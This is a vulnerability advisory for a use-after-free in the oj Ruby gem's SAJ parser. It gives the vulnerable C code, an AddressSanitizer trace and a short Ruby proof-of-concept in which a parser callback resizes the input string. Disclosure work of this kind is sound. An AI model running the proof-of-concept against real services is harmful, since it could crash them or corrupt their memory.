CVE-2026-54898: Oj: Use-After-Free in Oj::Parser SAJ Callback via Input Mutation

Summary

Oj::Parser#parse is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw const byte pointer into the Ruby string's internal buffer. If a callback (e.g. hashstart) resizes the string — for example by calling String#replace with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at parser.c:607 is a use-after-free.

Version

- Software: oj gem - Affected: all versions with ext/oj/parser.c - Latest tested: 3.17.1 (confirmed present)

Details

ext/oj/parser.c, parserparse → parse:

c static VALUE parserparse(VALUE self, VALUE json) { const byte ptr = (const byte )StringValuePtr(json); // raw pointer into Ruby string // ... parse(p, ptr); // ptr used throughout; any realloc frees the backing buffer }

c // parser.c:607 static void parse(ojParser p, const byte json) { const byte b = json; // ... for (; '\0' != b; b++) { // ← UAF: reads freed memory after callback resizes json

Ruby's String#replace (or <<, gsub!, etc.) can trigger a reallocation of the string's internal buffer if the new content is larger than the embedded capacity, freeing the old buffer that ptr still points to.

ASAN report: ==372273==ERROR: AddressSanitizer: heap-use-after-free on address 0x51900008ed81 READ of size 1 at 0x51900008ed81 thread T0 #0 parse /ext/oj/parser.c:607 #1 parserparse /ext/oj/parser.c:1408 0x51900008ed81 is located 1 bytes inside of 1023-byte region [0x51900008ed80, 0x51900008f17f) freed by thread T0 here: #0 free #1 rubysizedxfree (libruby-3.3.so.3.3) Shadow bytes: [fd]fd fd fd fd fd ... (entire region freed)

Reproduce

ruby require 'oj'

class Mutator def initialize(json) = (@json = json; @done = false)

def hashstart(key) return if @done; @done = true @json.replace('x' 1000000) # triggers String realloc, frees original buffer end

def hashend(key); end def arraystart(key); end def arrayend(key); end def addvalue(value, key); end end

json = '{"a":1,"pad":"' + ('A' 1000) + '","z":2}' parser = Oj::Parser.new(:saj) parser.handler = Mutator.new(json) parser.parse(json)